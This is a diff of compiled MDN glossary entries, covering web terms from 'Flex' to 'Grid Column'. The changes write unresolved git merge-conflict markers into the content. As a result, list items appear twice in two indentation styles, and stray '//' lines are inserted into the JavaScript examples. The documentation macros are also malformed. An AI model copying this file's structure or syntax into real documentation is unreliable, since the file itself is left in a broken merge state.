+-   CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
+-   CSS Flexbox Guide: _[Ordering flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items)_
+-   CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
+-   CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
+-   CSS Flexbox Guide: _[Typical use cases of flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox)_
+>>>>>>> master
 
 ---
 
 ## Term: Flex
 
+<<<<<<< HEAD
 - CSS
 - Flex
 - Glossary
 - flexbox
+=======
+-   CSS
+-   Flex
+-   Glossary
+-   flexbox
+>>>>>>> master
 
 ---
 
@@ -4419,6 +6808,7 @@ In addition `<flex>` can refer to [a flexible length](/en-US/docs/Web/CSS/flex_v
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("align-content"_)
 - _cssxref("align-items"_)
 - _cssxref("align-self"_)
@@ -4442,16 +6832,49 @@ In addition `<flex>` can refer to [a flexible length](/en-US/docs/Web/CSS/flex_v
 - CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
 - CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
 - CSS Flexbox Guide: _[Typical use cases of flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox)_
+=======
+-   _cssxref("align-content"_)
+-   _cssxref("align-items"_)
+-   _cssxref("align-self"_)
+-   _cssxref("flex"_)
+-   _cssxref("flex-basis"_)
+-   _cssxref("flex-direction"_)
+-   _cssxref("flex-flow"_)
+-   _cssxref("flex-grow"_)
+-   _cssxref("flex-shrink"_)
+-   _cssxref("flex-wrap"_)
+-   _cssxref("justify-content"_)
+-   _cssxref("order"_)
+
+### Further reading
+
+-   _[CSS Flexible Box Layout Module Level 1 Specification](https://www.w3.org/TR/css-flexbox-1/)_
+-   CSS Flexbox Guide: _[Basic Concepts of Flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox)_
+-   CSS Flexbox Guide: _[Relationship of flexbox to other layout methods](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods)_
+-   CSS Flexbox Guide: _[Aligning items in a flex container](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container)_
+-   CSS Flexbox Guide: _[Ordering flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items)_
+-   CSS Flexbox Guide: _[Controlling Ratios of flex items along the main axis](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax)_
+-   CSS Flexbox Guide: _[Mastering wrapping of flex items](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items)_
+-   CSS Flexbox Guide: _[Typical use cases of flexbox](/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox)_
+>>>>>>> master
 
 ---
 
 ## Term: Forbidden header name
 
+<<<<<<< HEAD
 - Fetch
 - Glossary
 - HTTP
 - Headers
 - forbidden
+=======
+-   Fetch
+-   Glossary
+-   HTTP
+-   Headers
+-   forbidden
+>>>>>>> master
 
 ---
 
@@ -4461,6 +6884,7 @@ Modifying such headers is forbidden because the user agent retains full control
 
 Forbidden header names start with `Proxy-` or `Sec-`, or are one of the following names:
 
+<<<<<<< HEAD
 - `Accept-Charset`
 - `Accept-Encoding`
 - `Access-Control-Request-Headers`
@@ -4484,6 +6908,31 @@ Forbidden header names start with `Proxy-` or `Sec-`, or are one of the followin
 - `Transfer-Encoding`
 - `Upgrade`
 - `Via`
+=======
+-   `Accept-Charset`
+-   `Accept-Encoding`
+-   `Access-Control-Request-Headers`
+-   `Access-Control-Request-Method`
+-   `Connection`
+-   `Content-Length`
+-   `Cookie`
+-   `Cookie2`
+-   `Date`
+-   `DNT`
+-   `Expect`
+-   `Feature-Policy`
+-   `Host`
+-   `Keep-Alive`
+-   `Origin`
+-   `Proxy-`
+-   `Sec-`
+-   `Referer`
+-   `TE`
+-   `Trailer`
+-   `Transfer-Encoding`
+-   `Upgrade`
+-   `Via`
+>>>>>>> master
 
 > **Note:** The `User-Agent` header is no longer forbidden, [as per spec](https://fetch.spec.whatwg.org/#terminology-headers) — see forbidden header name list (this was implemented in Firefox 43) — it can now be set in a Fetch [Headers](/en-US/docs/Web/API/Headers) object, or via XHR [setRequestHeader()](/en-US/docs/Web/API/XMLHttpRequest#setrequestheader%28%29). However, Chrome will silently drop the header from Fetch requests (see [Chromium bug 571722](https://bugs.chromium.org/p/chromium/issues/detail?id=571722)).
 
@@ -4495,10 +6944,17 @@ _Glossary("Forbidden response header name"_) (Glossary)
 
 ## Term: Forbidden response header name
 
+<<<<<<< HEAD
 - Glossary
 - HTTP
 - Response
 - forbidden
+=======
+-   Glossary
+-   HTTP
+-   Response
+-   forbidden
+>>>>>>> master
 
 ---
 
@@ -4506,16 +6962,27 @@ _Glossary("Forbidden response header name"_) (Glossary)
 
 #### See also
 
+<<<<<<< HEAD
 - [Fetch specification: forbidden response-header name](https://fetch.spec.whatwg.org/#forbidden-response-header-name)
+=======
+-   [Fetch specification: forbidden response-header name](https://fetch.spec.whatwg.org/#forbidden-response-header-name)
+>>>>>>> master
 
 ---
 
 ## Term: Fork
 
+<<<<<<< HEAD
 - Fork
 - Glossary
 - Tools
 - git
+=======
+-   Fork
+-   Glossary
+-   Tools
+-   git
+>>>>>>> master
 
 ---
 
@@ -4527,6 +6994,7 @@ Forks are often seen in free and open source software development. This is now a
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Fork_(software*development)","Fork"*) on Wikipedia
 - [How to fork a GitHub repo](https://help.github.com/articles/fork-a-repo/) (fork as in a Git context)
 - _Glossary("Fork"_) (Glossary)
@@ -4535,15 +7003,32 @@ Forks are often seen in free and open source software development. This is now a
     - [Linux distributions](https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg)
     - [Node.js and io.js (which have been merged together back)](https://nodejs.org/en/blog/announcements/foundation-v4-announce/)
     - [LibreOffice, a fork of OpenOffice](https://www.libreoffice.org/about-us/who-are-we/)
+=======
+-   _interwiki("wikipedia", "Fork_(software*development)","Fork"*) on Wikipedia
+-   [How to fork a GitHub repo](https://help.github.com/articles/fork-a-repo/) (fork as in a Git context)
+-   _Glossary("Fork"_) (Glossary)
+-   Various "well-known" forks
+
+    -   [Linux distributions](https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg)
+    -   [Node.js and io.js (which have been merged together back)](https://nodejs.org/en/blog/announcements/foundation-v4-announce/)
+    -   [LibreOffice, a fork of OpenOffice](https://www.libreoffice.org/about-us/who-are-we/)
+>>>>>>> master
 
 ---
 
 ## Term: frame rate (FPS)
 
+<<<<<<< HEAD
 - Animation
 - Glossary
 - Web Performance
 - requestAnimationFrame
+=======
+-   Animation
+-   Glossary
+-   Web Performance
+-   requestAnimationFrame
+>>>>>>> master
 
 ---
 
@@ -4553,17 +7038,29 @@ Movies generally have a frame rate of 24 fps. They are able to have fewer frames
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Frame rate"_) (Wikipedia)
 - _glossary("FPS"_) (Glossary)
+=======
+-   _Interwiki("wikipedia", "Frame rate"_) (Wikipedia)
+-   _glossary("FPS"_) (Glossary)
+>>>>>>> master
 
 ---
 
 ## Term: Fragmentainer
 
+<<<<<<< HEAD
 - CSS
 - CSS Fragmentation Specification
 - Glossary
 - fragmentainer
+=======
+-   CSS
+-   CSS Fragmentation Specification
+-   Glossary
+-   fragmentainer
+>>>>>>> master
 
 ---
 
@@ -4577,10 +7074,17 @@ Fragmented contexts are found in CSS Paged Media, where the fragmentainer would
 
 ## Term: FTP
 
+<<<<<<< HEAD
 - CodingScripting
 - FTP
 - Glossary
 - Protocol
+=======
+-   CodingScripting
+-   FTP
+-   Glossary
+-   Protocol
+>>>>>>> master
 
 ---
 
@@ -4590,13 +7094,19 @@ For many years it was the defacto standard way of transferring files, but as it
 
 #### See also
 
+<<<<<<< HEAD
 - [Beginner's guide to uploading files via FTP](/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server)
 - _interwiki("wikipedia", "File Transfer Protocol", "FTP"_) on Wikipedia
+=======
+-   [Beginner's guide to uploading files via FTP](/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server)
+-   _interwiki("wikipedia", "File Transfer Protocol", "FTP"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: FTU
 
+<<<<<<< HEAD
 - FTU
 - Firefox OS
 - First time use
@@ -4604,6 +7114,15 @@ For many years it was the defacto standard way of transferring files, but as it
 - Glossary
 - Infrastructure
 - Intro
+=======
+-   FTU
+-   Firefox OS
+-   First time use
+-   Gaia
+-   Glossary
+-   Infrastructure
+-   Intro
+>>>>>>> master
 
 ---
 
@@ -4615,12 +7134,21 @@ You can use FTU to set many important options (e.g. timezone, WiFi details, defa
 
 ## Term: Function
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - IIFE
 - Immediately Invoked Function Expressions (IIFE)
 - Intro
 - JavaScript
+=======
+-   CodingScripting
+-   Glossary
+-   IIFE
+-   Immediately Invoked Function Expressions (IIFE)
+-   Intro
+-   JavaScript
+>>>>>>> master
 
 ---
 
@@ -4633,6 +7161,10 @@ A function name is an _Glossary("identifier"_) included as part of a function de
 An **anonymous function** is a function without a function name. Only function expressions can be anonymous, function declarations must have a name:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // When used as a function expression
 (function () {});
 // or using the ECMAScript 2015 arrow notation
@@ -4644,6 +7176,10 @@ The following terms are not used in the ECMAScript language specification, they'
 A **named function** is a function with a function name:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // Function declaration
 function foo() {}
 // Named function expression
@@ -4656,9 +7192,14 @@ An **inner function** is a function inside another function (`square` in this ca
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function addSquares(a, b) {
     function square(x) {
@@ -4677,9 +7218,14 @@ A **recursive function** is a function that calls itself. See _Glossary("Recursi
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function loop(x) {
     if (x >= 10) return;
@@ -4695,6 +7241,10 @@ const loop = (x) => {
 An **Immediately Invoked Function Expressions** (_glossary("IIFE"_)) is a function that is called directly after the function is loaded into the browser's compiler. The way to identify an IIFE is by locating the extra left and right parenthesis at the end of the function's definition.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 // Declared functions can't be called immediately this way
 // Error (https://en.wikipedia.org/wiki/Immediately-invoked_function_expression)
 /*
@@ -4719,35 +7269,61 @@ If you'd like to know more about IIFEs, check out the following page on Wikipedi
 
 #### See also
 
+<<<<<<< HEAD
 - [Functions](/en-US/docs/Web/JavaScript/Guide/Functions)
 - [Arrow Functions](/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+=======
+-   [Functions](/en-US/docs/Web/JavaScript/Guide/Functions)
+-   [Arrow Functions](/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+>>>>>>> master
 
 ---
 
 ## Term: Fuzz testing
 
+<<<<<<< HEAD
 - Firefox
 - Fuzzing
 - Mozilla
 - QA
 - Security
 - Testing
+=======
+-   Firefox
+-   Fuzzing
+-   Mozilla
+-   QA
+-   Security
+-   Testing
+>>>>>>> master
 
 ---
 
 > **Fuzzing** is a technique for testing software using automated tools to provide invalid or unexpected input to a program or function in a program, then checking the results to see if the program crashes or otherwise acts inappropriately. This is an important way to ensure that software is stable, reliable, and secure, and we use fuzzing a lot at Mozilla.
 
+<<<<<<< HEAD
 - [Jesse's blog posts about fuzzing](https://www.squarefree.com/categories/fuzzing/)
 - [Wikipedia: Fuzz testing](https://en.wikipedia.org/wiki/Fuzz_testing)
 - [fuzzdb](https://github.com/fuzzdb-project/fuzzdb)
 - [jsfuzz - coverage guided javascript fuzzer](https://github.com/fuzzitdev/jsfuzz)
+=======
+-   [Jesse's blog posts about fuzzing](https://www.squarefree.com/categories/fuzzing/)
+-   [Wikipedia: Fuzz testing](https://en.wikipedia.org/wiki/Fuzz_testing)
+-   [fuzzdb](https://github.com/fuzzdb-project/fuzzdb)
+-   [jsfuzz - coverage guided javascript fuzzer](https://github.com/fuzzitdev/jsfuzz)
+>>>>>>> master
 
 ---
 
 ## Term: Garbage collection
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -4757,21 +7333,37 @@ In other words, garbage collection is the process of removing any objects which
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Memory management"_) on Wikipedia
 - _interwiki("wikipedia", "Garbage collection (computer science)"_) on Wikipedia
 - [Garbage collection](/en-US/docs/Web/JavaScript/Memory_Management#garbage_collection) in the MDN JavaScript guide.
 - [Memory management in JavaScript](/en-US/docs/Web/JavaScript/Memory_Management)
+=======
+-   _interwiki("wikipedia", "Memory management"_) on Wikipedia
+-   _interwiki("wikipedia", "Garbage collection (computer science)"_) on Wikipedia
+-   [Garbage collection](/en-US/docs/Web/JavaScript/Memory_Management#garbage_collection) in the MDN JavaScript guide.
+-   [Memory management in JavaScript](/en-US/docs/Web/JavaScript/Memory_Management)
+>>>>>>> master
 
 ---
 
 ## Term: Gecko
 
+<<<<<<< HEAD
 - Firefox OS
 - Gecko
 - Glossary
 - Infrastructure
 - Intro
 - Mozilla
+=======
+-   Firefox OS
+-   Gecko
+-   Glossary
+-   Infrastructure
+-   Intro
+-   Mozilla
+>>>>>>> master
 
 ---
 
@@ -4783,14 +7375,23 @@ Since all Firefox OS apps are Web apps, Firefox OS uses Gecko as its app runtime
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Gecko (software)", "Gecko"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Gecko (software)", "Gecko"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: General header
 
+<<<<<<< HEAD
 - Glossary
 - WebMechanics
+=======
+-   Glossary
+-   WebMechanics
+>>>>>>> master
 
 ---
 
@@ -4802,8 +7403,13 @@ Since all Firefox OS apps are Web apps, Firefox OS uses Gecko as its app runtime
 
 ## Term: GIF
 
+<<<<<<< HEAD
 - Composing
 - Glossary
+=======
+-   Composing
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -4811,14 +7417,23 @@ Since all Firefox OS apps are Web apps, Firefox OS uses Gecko as its app runtime
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "GIF"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "GIF"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Git
 
+<<<<<<< HEAD
 - Collaborating
 - Glossary
+=======
+-   Collaborating
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -4826,16 +7441,27 @@ Since all Firefox OS apps are Web apps, Firefox OS uses Gecko as its app runtime
 
 #### See also
 
+<<<<<<< HEAD
 - [Official website with documentation](https://git-scm.com/)
 - [GitHub](https://github.com/), a Git-based graphical project host
+=======
+-   [Official website with documentation](https://git-scm.com/)
+-   [GitHub](https://github.com/), a Git-based graphical project host
+>>>>>>> master
 
 ---
 
 ## Term: Global object
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -4843,9 +7469,15 @@ Since all Firefox OS apps are Web apps, Firefox OS uses Gecko as its app runtime
 
 In JavaScript, there's always a global object defined. In a web browser, when scripts create global variables defined with the [`var`](/en-US/docs/Web/JavaScript/Reference/Statements/var) keyword, they're created as members of the global object. (In _Glossary("Node.js"_) this is not the case.) The global object's _Glossary("interface"_) depends on the execution context in which the script is running. For example:
 
+<<<<<<< HEAD
 - In a web browser, any code which the script doesn't specifically start up as a background task has a _domxref("Window"_) as its global object. This is the vast majority of JavaScript code on the Web.
 - Code running in a _domxref("Worker"_) has a _domxref("WorkerGlobalScope"_) object as its global object.
 - Scripts running under _Glossary("Node.js"_) have an object called [`global`](https://nodejs.org/api/globals.html#globals_global) as their global object.
+=======
+-   In a web browser, any code which the script doesn't specifically start up as a background task has a _domxref("Window"_) as its global object. This is the vast majority of JavaScript code on the Web.
+-   Code running in a _domxref("Worker"_) has a _domxref("WorkerGlobalScope"_) object as its global object.
+-   Scripts running under _Glossary("Node.js"_) have an object called [`global`](https://nodejs.org/api/globals.html#globals_global) as their global object.
+>>>>>>> master
 
 > **Note**: Unlike _jsxref("Statements/var", "var"_), the statements _jsxref("Statements/let", "let"_) and _jsxref("Statements/const", "const"_) do not create properties of the global object.
 
@@ -4856,6 +7488,10 @@ The `window` object is the Global Object in the Browser. Any Global Variables or
 ### Access Global Variables
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 var foo = 'foobar';
 foo === window.foo; // Returns: true
 ```
@@ -4867,6 +7503,10 @@ After defining a Global Variable `foo`, we can access its value directly from th
 The global variable `foo` was stored in the `window` object, like this:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 foo: 'foobar';
 ```
 
@@ -4874,9 +7514,14 @@ foo: 'foobar';
 
 ---
 
+<<<<<<< HEAD
 
 ```js
 
+=======
+```js
+//
+>>>>>>> master
 
 function greeting() {
     console.log('Hi!');
@@ -4892,6 +7537,10 @@ The example above explains how Global Functions are stored as _properties_ in th
 The global function `greeting` was stored in the `window` object, like this:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 greeting: function greeting() {
     console.log('Hi!');
 }
@@ -4899,6 +7548,7 @@ greeting: function greeting() {
 
 #### See also
 
+<<<<<<< HEAD
 - [MDN Web Docs Glossary](/en-US/docs/Glossary)
 
     - _glossary("global scope"_)
@@ -4907,14 +7557,30 @@ greeting: function greeting() {
 - _domxref("Window"_)
 - _domxref("WorkerGlobalScope"_)
 - [`global`](https://nodejs.org/api/globals.html#globals_global)
+=======
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _glossary("global scope"_)
+    -   _glossary("object"_)
+
+-   _domxref("Window"_)
+-   _domxref("WorkerGlobalScope"_)
+-   [`global`](https://nodejs.org/api/globals.html#globals_global)
+>>>>>>> master
 
 ---
 
 ## Term: Global scope
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
 - NeedsContent
+=======
+-   CodingScripting
+-   Glossary
+-   NeedsContent
+>>>>>>> master
 
 ---
 
@@ -4924,15 +7590,25 @@ In client-side JavaScript, the global scope is generally the web page inside whi
 
 #### See also
 
+<<<<<<< HEAD
 - [Introduction to variable scope in JavaScript](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#variable_scope)
 - _interwiki("wikipedia", "Scope (computer science)", "Scope"_) on Wikipedia
+=======
+-   [Introduction to variable scope in JavaScript](/en-US/docs/Web/JavaScript/Guide/Grammar_and_types#variable_scope)
+-   _interwiki("wikipedia", "Scope (computer science)", "Scope"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Global variable
 
+<<<<<<< HEAD
 - CodingScripting
 - Glossary
+=======
+-   CodingScripting
+-   Glossary
+>>>>>>> master
 
 ---
 
@@ -4942,15 +7618,25 @@ In JavaScript it is a _glossary("property"_) of the _glossary("global object"_).
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Global variable"_) on Wikipedia
+=======
+-   _Interwiki("wikipedia", "Global variable"_) on Wikipedia
+>>>>>>> master
 
 ---
 
 ## Term: Glyph
 
+<<<<<<< HEAD
 - Glossary
 - SVG
 - typography
+=======
+-   Glossary
+-   SVG
+-   typography
+>>>>>>> master
 
 ---
 
@@ -4960,13 +7646,19 @@ The fonts used by a website contain different sets of glyphs, which represent th
 
 #### See also
 
+<<<<<<< HEAD
 - [Glyph](https://en.wikipedia.org/wiki/Glyph) on Wikipedia
 - [Glyph, character and grapheme](https://www.quora.com/Whats-the-difference-between-a-character-a-glyph-and-a-grapheme/answer/Thomas-Phinney) on Quora
+=======
+-   [Glyph](https://en.wikipedia.org/wiki/Glyph) on Wikipedia
+-   [Glyph, character and grapheme](https://www.quora.com/Whats-the-difference-between-a-character-a-glyph-and-a-grapheme/answer/Thomas-Phinney) on Quora
+>>>>>>> master
 
 ---
 
 ## Term: Google Chrome
 
+<<<<<<< HEAD
 - Browser
 - Chrome canary
 - Chrome stable
@@ -4974,6 +7666,15 @@ The fonts used by a website contain different sets of glyphs, which represent th
 - Glossary
 - WebMechanics
 - google chrome
+=======
+-   Browser
+-   Chrome canary
+-   Chrome stable
+-   Chromium
+-   Glossary
+-   WebMechanics
+-   google chrome
+>>>>>>> master
 
 ---
 
@@ -4981,33 +7682,57 @@ The fonts used by a website contain different sets of glyphs, which represent th
 
 #### See also
 
+<<<<<<< HEAD
 - _interwiki("wikipedia", "Google Chrome", "Google Chrome"_) on Wikipedia
+=======
+-   _interwiki("wikipedia", "Google Chrome", "Google Chrome"_) on Wikipedia
+>>>>>>> master
 
 ### For Chrome Users
 
 Use one of these links if you're an everyday user.
 
+<<<<<<< HEAD
 - [Android](https://play.google.com/store/apps/details?id=com.android.chrome)
 - [iOS](https://apps.apple.com/us/app/chrome-web-browser-by-google/id535886823)
 - [Desktop](https://www.google.com/chrome/)
+=======
+-   [Android](https://play.google.com/store/apps/details?id=com.android.chrome)
+-   [iOS](https://apps.apple.com/us/app/chrome-web-browser-by-google/id535886823)
+-   [Desktop](https://www.google.com/chrome/)
+>>>>>>> master
 
 ### For Web Developers
 
 If you want to try the latest Chrome features, install one of the pre-stable builds. Google pushes updates frequently and has designed the distributions to run side-by-side with the stable version. Visit the [Chrome Releases Blog](https://chromereleases.googleblog.com) to learn what's new.
 
+<<<<<<< HEAD
 - [Chrome Dev for Android](https://play.google.com/store/apps/details?id=com.chrome.dev)
 - [Chrome Canary for desktop](https://www.google.com/chrome/browser/canary.html).
+=======
+-   [Chrome Dev for Android](https://play.google.com/store/apps/details?id=com.chrome.dev)
+-   [Chrome Canary for desktop](https://www.google.com/chrome/browser/canary.html).
+>>>>>>> master
 
 ---
 
 ## Term: GPL
 
+<<<<<<< HEAD
 - GPL
 - Glossary
 - License
 - OpenPractices
 - Remixing
 - Sharing
+=======
+-   GPL
+-   Glossary
+-   License
+-   OpenPractices
+-   Remixing
+-   Sharing
+>>>>>>> master
 
 ---
 
@@ -5015,17 +7740,29 @@ If you want to try the latest Chrome features, install one of the pre-stable bui
 
 #### See also
 
+<<<<<<< HEAD
 - [FAQ](https://www.gnu.org/licenses/gpl-faq.html) on GNU licenses
 - [GNU GPL](https://en.wikipedia.org/wiki/GNU_General_Public_License) on Wikipedia
 - [GPL License](https://gnu.org/licenses/gpl.html) text
+=======
+-   [FAQ](https://www.gnu.org/licenses/gpl-faq.html) on GNU licenses
+-   [GNU GPL](https://en.wikipedia.org/wiki/GNU_General_Public_License) on Wikipedia
+-   [GPL License](https://gnu.org/licenses/gpl.html) text
+>>>>>>> master
 
 ---
 
 ## Term: GPU
 
+<<<<<<< HEAD
 - Glossary
 - Graphics
 - Infrastructure
+=======
+-   Glossary
+-   Graphics
+-   Infrastructure
+>>>>>>> master
 
 ---
 
@@ -5035,9 +7772,15 @@ If you want to try the latest Chrome features, install one of the pre-stable bui
 
 ## Term: Graceful degradation
 
+<<<<<<< HEAD
 - Design
 - Glossary
 - graceful degradation
+=======
+-   Design
+-   Glossary
+-   graceful degradation
+>>>>>>> master
 
 ---
 
@@ -5049,6 +7792,7 @@ It is a useful technique that allows Web developers to focus on developing the b
 
 #### See also
 
+<<<<<<< HEAD
 - _Interwiki("wikipedia", "Graceful degradation"_) on Wikipedia
 - [Handling common HTML and CSS problems](/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS)
 - [Implementing feature detection](/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection)
@@ -5057,14 +7801,30 @@ It is a useful technique that allows Web developers to focus on developing the b
     - _Glossary("Graceful degradation"_)
     - _Glossary("Polyfill"_)
     - _Glossary("Progressive enhancement"_)
+=======
+-   _Interwiki("wikipedia", "Graceful degradation"_) on Wikipedia
+-   [Handling common HTML and CSS problems](/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS)
+-   [Implementing feature detection](/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection)
+-   [MDN Web Docs Glossary](/en-US/docs/Glossary)
+
+    -   _Glossary("Graceful degradation"_)
+    -   _Glossary("Polyfill"_)
+    -   _Glossary("Progressive enhancement"_)
+>>>>>>> master
 
 ---
 
 ## Term: Grid Areas
 
+<<<<<<< HEAD
 - CSS
 - CSS Grids
 - Reference
+=======
+-   CSS
+-   CSS Grids
+-   Reference
+>>>>>>> master
 
 ---
 
@@ -5128,6 +7888,7 @@ In the example below I have a grid container with two grid items. I have named t
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("grid-template-columns"_)
 - _cssxref("grid-template-rows"_)
 - _cssxref("grid-auto-rows"_)
@@ -5140,13 +7901,32 @@ In the example below I have a grid container with two grid items. I have named t
 - CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
 - CSS Grid Layout Guide: _[Grid template areas](/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas)_
 - [Definition of Grid Areas in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-area-concept)
+=======
+-   _cssxref("grid-template-columns"_)
+-   _cssxref("grid-template-rows"_)
+-   _cssxref("grid-auto-rows"_)
+-   _cssxref("grid-auto-columns"_)
+-   _cssxref("grid-template-areas"_)
+-   _cssxref("grid-area"_)
+
+### Further reading
+
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+-   CSS Grid Layout Guide: _[Grid template areas](/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas)_
+-   [Definition of Grid Areas in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-area-concept)
+>>>>>>> master
 
 ---
 
 ## Term: Grid Axis
 
+<<<<<<< HEAD
 - CSS
 - CSS Grids
+=======
+-   CSS
+-   CSS Grids
+>>>>>>> master
 
 ---
 
@@ -5166,15 +7946,25 @@ The physical direction of these axes can change according to the [writing mode](
 
 #### See also
 
+<<<<<<< HEAD
 - CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
 - CSS Grid Layout Guide: _[Box alignment in Grid Layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout)_
 - CSS Grid Layout Guide: _[Grids, logical values and writing modes](/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes)_
+=======
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+-   CSS Grid Layout Guide: _[Box alignment in Grid Layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout)_
+-   CSS Grid Layout Guide: _[Grids, logical values and writing modes](/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Logical_Values_and_Writing_Modes)_
+>>>>>>> master
 
 ---
 
 ## Term: Grid Cell
 
+<<<<<<< HEAD
 - CSS Grids
+=======
+-   CSS Grids
+>>>>>>> master
 
 ---
 
@@ -5232,6 +8022,7 @@ In the example we have created a three column track grid. The five items are pla
 
 ### Property reference
 
+<<<<<<< HEAD
 - _cssxref("grid-template-columns"_)
 - _cssxref("grid-template-rows"_)
 - _cssxref("grid-auto-rows"_)
@@ -5241,13 +8032,29 @@ In the example we have created a three column track grid. The five items are pla
 
 - CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
 - [Definition of Grid Cells in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-track-concept)
+=======
+-   _cssxref("grid-template-columns"_)
+-   _cssxref("grid-template-rows"_)
+-   _cssxref("grid-auto-rows"_)
+-   _cssxref("grid-auto-columns"_)
+
+### Further reading
+
+-   CSS Grid Layout Guide: _[Basic concepts of grid layout](/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout)_
+-   [Definition of Grid Cells in the CSS Grid Layout specification](https://drafts.csswg.org/css-grid/#grid-track-concept)
+>>>>>>> master
 
 ---
 
 ## Term: Grid Column
 
+<<<<<<< HEAD
 - CSS
 - CodingScripting
+=======
+-   CSS
+-   CodingScripting
+>>>>>>> master
 
